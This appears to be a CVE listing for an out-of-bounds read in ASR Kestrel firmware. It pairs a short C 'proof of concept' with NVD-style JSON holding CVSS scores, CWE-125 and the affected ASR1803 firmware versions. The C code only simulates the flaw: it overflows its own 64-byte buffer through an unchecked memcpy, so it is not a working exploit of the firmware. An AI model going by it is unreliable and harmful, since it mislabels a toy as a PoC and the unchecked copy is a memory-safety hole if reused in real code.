CVE-2026-42799

#include <stdio.h> #include <string.h> // Simulation of the vulnerable function in Code/Nr/nr_fw/RA/src/NrPwrCtrl.C void vulnerable_trigger(char* data, int length) { char internal_buffer[64]; // Vulnerability: Out-of-bounds read/overflow due to missing length check memcpy(internal_buffer, data, length); printf("Data processed: %s\n", internal_buffer); } int main() { printf("[*] CVE-2026-42799 PoC Execution\n"); // Craft malicious payload exceeding buffer size char malicious_payload[100]; memset(malicious_payload, 'A', sizeof(malicious_payload)); // Trigger the vulnerability vulnerable_trigger(malicious_payload, 100); printf("[+] Exploit triggered.\n"); return 0; }

{"cve": {"id": "CVE-2026-42799", "sourceIdentifier": "68630edc-a58c-4cbd-9b01-0e130455c8ae", "published": "2026-04-30T09:16:03.473", "lastModified": "2026-05-05T02:53:31.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read vulnerability in ASR Kestrel (nr_fw modules) allows Overflow Buffers.\n\n This vulnerability is associated with program files Code/Nr/nr_fw/RA/src/NrPwrCtrl.C.\n\n\n\nThis issue affects Kestrel: before 2026/02/10."}], "metrics": {"cvssMetricV31": [{"source": "68630edc-a58c-4cbd-9b01-0e130455c8ae", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 3.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "68630edc-a58c-4cbd-9b01-0e130455c8ae", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:asrmicro:asr1803_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.216.002", "matchCriteriaId": "4E323315-1563-409C-AE82-31FD6016DFA3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:asrmicro:asr1803:-:*:*:*:*:*:*:*", "matchCriteriaId": "5DCCB900-92E3-4060-B687-052F378AC304"}]}]}], "references": [{"url": "https://www.asrmicro.com/en/goods/psirt?cid=44", "source": "68630edc-a58c-4cbd-9b01-0e130455c8ae", "tags": ["Vendor Advisory"]}]}}